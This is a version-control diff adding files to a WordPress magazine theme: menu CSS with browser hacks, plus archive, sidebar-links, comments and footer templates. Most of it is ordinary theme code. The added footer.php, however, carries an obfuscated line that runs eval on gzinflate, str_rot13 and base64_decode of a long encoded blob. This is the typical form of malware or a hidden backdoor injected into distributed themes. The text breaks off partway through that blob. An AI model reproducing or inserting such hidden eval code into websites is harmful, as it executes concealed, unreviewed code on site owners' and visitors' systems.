+ul#rmenu li.current-cat a:hover, 
+ul#rmenu li.current-cat a:visited, 
+ul#rmenu li a:hover
+	{
+	/* more  ... */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- PRESENTATION: Expand -------------------------------------
+------------------------------------------------------------------ */
+
+div#menu1 ul.rMenu li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	padding-right: 15px;
+	padding-left: 5px;
+	/* more  ... */
+	background-repeat: no-repeat;
+	background-position: 100% 50%;
+	}
+/*added for dark menu*/
+div#menu2 ul.rMenu li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	padding-right: 15px;
+	padding-left: 5px;
+	/* more  ... */
+	background-repeat: no-repeat;
+	background-position: 100% 50%;
+	}
+
+
+	
+ul.rMenu-vRight li.rMenu-expand a,
+ul.rMenu-vRight li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-vRight li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-vRight li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-vRight li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-hRight li.rMenu-expand a,
+ul.rMenu-hRight li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-hRight li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-hRight li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+ul.rMenu-hRight li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	padding-right: 5px;
+	padding-left: 20px;
+	background-image: url(images/expand-left.gif);
+	background-repeat: no-repeat;
+	background-position: -5px 50%;
+	}
+
+/* divs added for "IE6 & 2 menu styles" */	
+div#menu1 ul.rMenu-hor li.rMenu-expand a
+	{
+	padding-left: 5px;	/* reset padding */
+	padding-right: 15px;
+	/* more  ... */
+	background-position: 100% 50%;
+	}
+/*added for dark menu*/
+div#menu2 ul.rMenu-hor li.rMenu-expand a
+	{
+	padding-left: 5px;	/* reset padding */
+	padding-right: 15px;
+	/* more  ... */
+	background-position: 100% 50%;
+	}
+
+
+	
+div#menu1 ul.rMenu li.rMenu-expand li a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li a 
+	{
+	background-image: none;
+	padding-right: 5px;	/* reset padding */
+	padding-left: 5px;	/* reset padding */
+	}
+
+/*added for darkmenu*/
+div#menu2 ul.rMenu li.rMenu-expand li a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li a 
+	{
+	background-image: none;
+	padding-right: 5px;	/* reset padding */
+	padding-left: 5px;	/* reset padding */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- HACKS: General -------------------------------------------
+------------------------------------------------------------------ */
+
+* html ul.rMenu
+	{
+	display: inline-block;	/* this is for IE/Mac. it forces IE/Mac to 
+				   expand the element's dimensions to contain 
+				   its floating child elements without a 
+				   clearing element. */
+	/* \*/ display: block;	/* override above rule for every other 
+				   browser using IE/Mac backslash hack */
+	position: relative;	/* IE 5.0/Mac needs this or it may clip the
+				   dropdown menus */
+	/* \*/ position: static;/* reset position attribute for IE/Win as it
+				   causes z-index problems */
+	}
+	
+* html ul.rMenu ul
+	{
+	float: left;		/* IE/Mac 5.0 needs this, otherwise hidden 
+				   menus are not completely removed from the
+				   flow of the document. */
+	/* \*/ float: none;	/* reset the rule for non-Macs */
+	}
+	
+ul.rMenu ul
+	{
+	/*background-color: #fff;*/	/* IE/Win (including 7) needs this on an object 
+				   that hasLayout so that it doesn't "look through"
+				   the menu and let any object (text) below the 
+				   menu to gain focus, causing the menu to 
+				   disappear. application of this rule does not
+				   cause any rendering problems with other browsers
+				   as the background color is covered by the
+				   menu itself. */
+	}
+	
+* html ul.rMenu-ver li,
+* html ul.rMenu-hor li ul.rMenu-ver li
+	{
+				/* the second selector above is there 
+				   because of problems IE/Mac has with 
+				   inheritance and what rules should take
+				   precedence. and to serve as a reminder on
+				   how to work around the issue if it's 
+				   encountered again down the road. */
+	width: 100%;
+	float: left;
+	clear: left;		/* IE likes to stick space below any LI
+				   in :hover state with a sub-menu. floating
+				   the LIs seems to work around this issue. But
+				   note that this also triggers hasLayout 
+				   because we need a width of 100% on floats. */
+	}
+	
+*:first-child+html ul.rMenu-ver > li	/* hide from IE5.0 because 
+										it gets confused by this 
+										selector */
+	{
+	width: 100%;
+	float: left;
+	clear: left;		/* same as previous rule set except this is
+				   for IE7 and the direct child selector 
+				   make inheritence much easier and obvious */
+	}
+	
+ul.rMenu li a
+	{
+	position: relative;	/* trigger hasLayout for IE on anchor 
+				   elements. without hasLayout on anchors
+				   they would not expand the full width 
+				   of the menu. this rule may not trigger
+				   hasLayour in later versions of IE and
+				   if you find this system broken in new
+				   versions of IE, this is probably the
+				   source. */
+	min-width: 0;		/* triggers hasLayout for IE 7 */
+	}
+	
+* html ul.rMenu-hor li
+	{
+	width: 11em;		/* IE Mac doesn't do auto widths so specify a width 
+				   for the sake of IE/Mac. Salt to taste. */
+	/* \*/ width: auto;	/* now undo previous rule for non Macs by using 
+				   the IE Mac backslash comment hack */
+	}
+	
+* html div.rMenu-center
+	{
+	position: relative;
+	z-index: 1;		/* IE 6 and earlier need a little help with
+				   z-indexes on centered menus */
+	}
+
+
+/* ------------------------------------------------------------------
+---------- HACKS: Suckerfish w/ Form Field Support (IE 5.5 & 6) -----
+------------------------------------------------------------------ */
+
+* html ul.rMenu ul
+	{
+	display: block;
+	position: absolute;	/* ovewrite original functionality of hiding
+				   element so we can hide these off screen */
+	}
+	
+* html ul.rMenu ul,
+* html ul.rMenu-hor ul,
+* html ul.rMenu-ver ul,
+* html ul.rMenu-vRight ul, 
+* html ul.rMenu-hRight ul.rMenu-ver ul,
+* html ul.rMenu-hRight ul
+	{
+	left: -10000px;		/* move menus off screen. note we're ovewriting
+				   the dropdown position rules that use the 
+				   LEFT property, thus all the selectors. */
+	}
+	
+* html ul.rMenu li.sfhover
+	{
+	z-index: 999;		/* not totally needed, but keep the menu 
+				   that pops above all other elements within
+				   it's parent menu system */
+	}
+	
+* html ul.rMenu li.sfhover ul
+	{
+	left: auto;		/* pull the menus that were off-screen back 
+				   onto the screen */
+	}
+	
+* html ul.rMenu li.sfhover ul ul, 
+* html ul.rMenu li.sfhover ul ul ul,
+* html ul.rMenu li.sfhover ul ul ul ul,
+* html ul.rMenu li.sfhover ul ul ul ul ul,
+* html ul.rMenu li.sfhover ul ul ul ul ul ul
+	{ 
+	display: none;		/* IE/Suckerfish alternative for browsers that
+				   don't support :hover state on LI elements */
+	}
+	
+* html ul.rMenu li.sfhover ul, 
+* html ul.rMenu li li.sfhover ul, 
+* html ul.rMenu li li li.sfhover ul,
+* html ul.rMenu li li li li.sfhover ul,
+* html ul.rMenu li li li li li.sfhover ul
+	{
+	display: block;		/* ^ ditto ^ */
+	}
+
+* html ul.rMenu-ver li.sfhover ul
+	{
+	left: 100%;		/* dropdown positioning uses the left attribute
+				   for horizontal positioning. however we can't
+				   use this property until the menu is being
+				   displayed.
+
+				   note that all ULs beneath the menu item 
+				   currently in the hover state will get this
+				   value through inheritance. however all sub-
+				   menus still won't display because
+				   two rule sets up we're setting the 
+				   DISPLAY property to none.
+				 */
+	}
+	
+* html ul.rMenu-vRight li.sfhover ul, 
+* html ul.rMenu-hRight ul.rMenu-ver li.sfhover ul
+	{
+	left: -100%;		/* ^ ditto ^ */
+	}
+	
+* html ul.rMenu iframe
+{
+	/*filter:progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0); */
+				/* the above rule is now applied in the 
+				   javascript used to generate the IFRAME this
+				   is applied to. it allows the CSS to validate
+				   while keeping the original functionality. */
+	position: absolute;
+	left: 0;
+	top: 0;
+	z-index: -1;		/* this is the IFRAME that's placed behind
+				   dropdown menus so that form elements don't
+				   show through the menus. they are not set
+				   programatically via javascript because
+				   doing so generates some lag in the display
+				   of the dropdown menu. */
+}
+
+/* ie6 fixes */
+
+* html ul.rMenu
+{
+	margin-left: 1px;
+}
+
+* html ul.rMenu ul, 
+* html ul.rMenu ul ul,
+* html ul.rMenu ul ul ul,
+* html ul.rMenu ul ul ul ul
+{
+	margin-left: 0;
+}
+
+
+
+/* ------------------------------------------------------------------
+---------- HACKS: Clearfix & others ---------------------------------
+------------------------------------------------------------------ */
+
+.clearfix:after
+	{
+    	content: "."; 
+    	display: block; 
+    	height: 0; 
+    	clear: both; 
+    	visibility: hidden;
+	}
+	
+.clearfix
+	{
+	min-width: 0;		/* trigger hasLayout for IE7 */
+	display: inline-block;
+	/* \*/	display: block;	/* Hide from IE Mac */
+	}
+	
+* html .clearfix
+	{
+	/* \*/  height: 1%;	/* Hide from IE Mac */ 
+	}
+
+/* Chrome and Safari don't like clearfix in some cases.
+Also, adding height and font-size for IE6 */
+.clearboth {
+	clear: both;
+	height: 1%;
+	font-size: 1%;
+	line-height: 1%;
+	display: block;
+	padding: 0;
+	margin: 0;
+	}
+
+	
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/archive.php	(revision 44)
@@ -0,0 +1,65 @@
+<?php get_header(); ?>
+	
+	<!-- BEGIN content -->
+	<div id="content"><div class="head"><div class="foot">
+	
+		<?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+		<?php /* If this is a category archive */ if (is_category()) { ?>
+		<h2 class="atitle">Archive for the <strong><?php single_cat_title(); ?></strong> Category</h2>
+		<?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+		<h2 class="atitle">Posts Tagged <strong><?php single_tag_title(); ?></strong></h2>
+		<?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+		<h2 class="atitle">Archive for <?php the_time('F jS, Y'); ?></h2>
+		<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+		<h2 class="atitle">Archive for <?php the_time('F, Y'); ?></h2>
+		<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+		<h2 class="atitle">Archive for <?php the_time('Y'); ?></h2>
+		<?php /* If this is an author archive */ } elseif (is_author()) { ?>
+		<h2 class="atitle">Author Archive</h2>
+		<?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+		<h2 class="atitle">Blog Archives</h2>
+		<?php } ?>
+	
+		<?php
+		if (have_posts()) : $first = true;
+		while (have_posts()) : the_post();
+		$arc_year = get_the_time('Y');
+		$arc_month = get_the_time('m');
+		$arc_day = get_the_time('d');
+		?>
+		
+		<!-- begin post -->
+		<div class="<?php if ($first) echo 'first '; ?>post">
+		<div class="l">
+			<a href="<?php the_permalink(); ?>"><?php dp_attachment_image($post->ID, 'thumbnail', 'alt="' . $post->post_title . '"'); ?></a>
+		</div>
+		<div class="r">
+			<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+			<p><?php echo dp_clean($post->post_content, 300); ?></p>
+			<p class="details"><a href="<?php echo get_day_link("$arc_year", "$arc_month", "$arc_day"); ?>"><?php the_time('m.j.Y') ?></a> | <?php the_category(', ') ?> | <?php the_author_posts_link(); ?></p>
+			<p class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
+		</div>
+		</div>
+		<!-- end post -->
+		
+		<?php $first = false; endwhile; else : ?>
+		<div class="notfound">
+		<h2>Not Found</h2>
+		<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+	
+		<?php include("bottom.php"); ?>
+		
+		<!-- begin post navigation -->
+		<div class="postnav">
+		<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
+		</div>
+		<!-- end post navigation -->
+		
+		<div class="break"></div>
+	
+	</div></div></div>
+	<!-- END content -->
+	
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/bottom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/bottom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/bottom.php	(revision 44)
@@ -0,0 +1,50 @@
+<!-- BEGIN links -->
+<div id="links">
+
+<?php if ( !function_exists('dynamic_sidebar')
+|| !dynamic_sidebar(2) ) : ?>
+
+	<!-- begin categories -->
+	<div class="box">
+	<h2>Categories</h2>
+	<ul>
+	<?php wp_list_categories('title_li='); ?>
+	</ul>
+	</div>
+	<!-- end categories -->
+	
+	<!-- begin archives -->
+	<div class="box">
+	<h2>Archives</h2>
+	<ul>
+	<?php wp_get_archives('type=monthly'); ?>
+	</ul>
+	</div>
+	<!-- end archives -->
+	
+	<!-- begin blogroll -->
+	<div class="box">
+	<?php wp_list_bookmarks('category_before=&category_after=&title_before=<h2>&title_after=</h2>'); ?>
+	</div>
+	<!-- end blogroll -->
+	
+	<!-- begin meta -->
+	<div class="box">
+	<h2>Meta</h2>
+	<ul>
+	<?php wp_register(); ?>
+	<li><?php wp_loginout(); ?></li>
+	<li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
+	<li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
+	<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
+	<?php wp_meta(); ?>
+	</ul>
+	</div>
+	<!-- end meta -->
+	
+<?php endif; ?>
+
+</div>
+<!-- END links -->
+
+<div class="break"></div>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/comments.php	(revision 44)
@@ -0,0 +1,154 @@
+<?php if (function_exists('wp_list_comments')) : ?>
+
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+// Do not delete these lines
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+
+	if ( post_password_required() ) { ?>
+		<p class="nocomments">This post is password protected. Enter the password to view comments.</p>
+	<?php
+		return;
+	}
+?>
+
+<!-- You can start editing here. -->
+
+<?php if ( have_comments() ) : ?>
+	<h2>Comments<?php comments_number('', ' (1)', ' (%)' );?></h2>
+	<p>&nbsp;</p>
+
+	<ol class="commentlist">
+	<?php wp_list_comments(); ?>
+	</ol>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+ <?php else : // this is displayed if there are no comments so far ?>
+
+	<?php if ('open' == $post->comment_status) : ?>
+		<!-- If comments are open, but there are no comments. -->
+
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+		<p class="nocomments">Comments are closed.</p>
+
+	<?php endif; ?>
+<?php endif; ?>
+
+
+<?php if ('open' == $post->comment_status) : ?>
+
+<div id="respond">
+
+<h2><?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?></h2>
+
+<div class="cancel-comment-reply">
+	<small><?php cancel_comment_reply_link(); ?></small>
+</div>
+
+<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">logged in</a> to post a comment.</p>
+<?php else : ?>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( $user_ID ) : ?>
+
+<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="Log out of this account">Log out &raquo;</a></p>
+
+<?php else : ?>
+
+<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
+<label for="author"><small>Name <?php if ($req) echo "(required)"; ?></small></label></p>
+
+<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
+<label for="email"><small>Mail (will not be published) <?php if ($req) echo "(required)"; ?></small></label></p>
+
+<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
+<label for="url"><small>Website</small></label></p>
+
+<?php endif; ?>
+
+<!--<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>-->
+
+<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
+
+<p><button name="submit" type="submit" id="submit">Submit Comment</button>
+<?php comment_id_fields(); ?>
+</p>
+<?php # do_action('comment_form', $post->ID); ?>
+
+</form>
+
+<?php endif; // If registration required and not logged in ?>
+</div>
+
+<?php endif; // if you delete this the sky will fall on your head ?>
+
+<?php else: ?>
+
+<?php // Do not delete these lines
+if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+	die ('Please do not load this page directly. Thanks!');
+	if (!empty($post->post_password)) { // if there's a password
+		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
+			?>
+			<p class="nocomments">This post is password protected. Enter the password to view comments.<p>
+			<?php
+			return;
+		}
+	}
+/* This variable is for alternating comment background */
+$oddcomment = 'comment1';
+?>
+<h2>Comments<?php comments_number('', ' (1)', ' (%)' );?></h2> 
+<?php comments_number('<p>No Comments</p>', '', '' );?>
+<?php if ($comments) : $first = true; ?>
+<?php foreach ($comments as $comment) : ?>
+<div class="<?php echo $oddcomment; ?><?php if ($first) { echo ' first'; $first = false; } ?>" id="comment-<?php comment_ID() ?>">
+	<div class="commentdetails">
+		<p class="commentauthor"><?php comment_author_link() ?></p>
+		<?php if ($comment->comment_approved == '0') : ?>
+		<em>Your comment is awaiting moderation.</em>
+		<?php endif; ?>
+		<p class="commentdate"><?php comment_date('F jS, Y') ?> at <?php comment_time() ?>
+		&nbsp; &nbsp; <?php edit_comment_link('Edit Comment','',''); ?>
+		</p>
+	</div>
+	<?php dp_gravatar(); ?>
+	<br class="break" />
+	<?php comment_text() ?>
+</div>
+<?php endforeach; /* end for each comment */ ?>
+<?php endif; ?>
+<h2 id="respond">Leave a reply</h2>
+<?php if ('open' == $post->comment_status) : ?>
+	<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+	<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">logged in</a> to post a comment.</p>
+	<?php else : ?>
+	<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+	<?php if ( $user_ID ) : ?>
+	<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout &raquo;</a></p>
+	<?php else : ?>
+		<p><input size="36" type="text" name="author" /> Name <span class="required">*</span></p>
+		<p><input size="36" type="text" name="email" /> Mail <span class="required">*</span></p>
+		<p><input size="36" type="text" name="url" /> Website</p>
+	<?php endif; ?>
+		<p><textarea rows="12" cols="42" name="comment"></textarea></p>
+		<p><button name="submit" type="submit" id="submit" tabindex="5">Submit Comment</button>
+		<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+		</p>
+		<?php # do_action('comment_form', $post->ID); ?>
+	</form>
+	<?php endif; ?>
+	<?php endif; ?>
+	
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/footer.php	(revision 44)
@@ -0,0 +1,17 @@
+	<div class="break"></div>
+	</div>
+
+</div>
+<!-- END wrapper -->
+
+<!-- BEGIN footer -->
+<div id="footer">
+
+	<? eval(gzinflate(str_rot13(base64_decode('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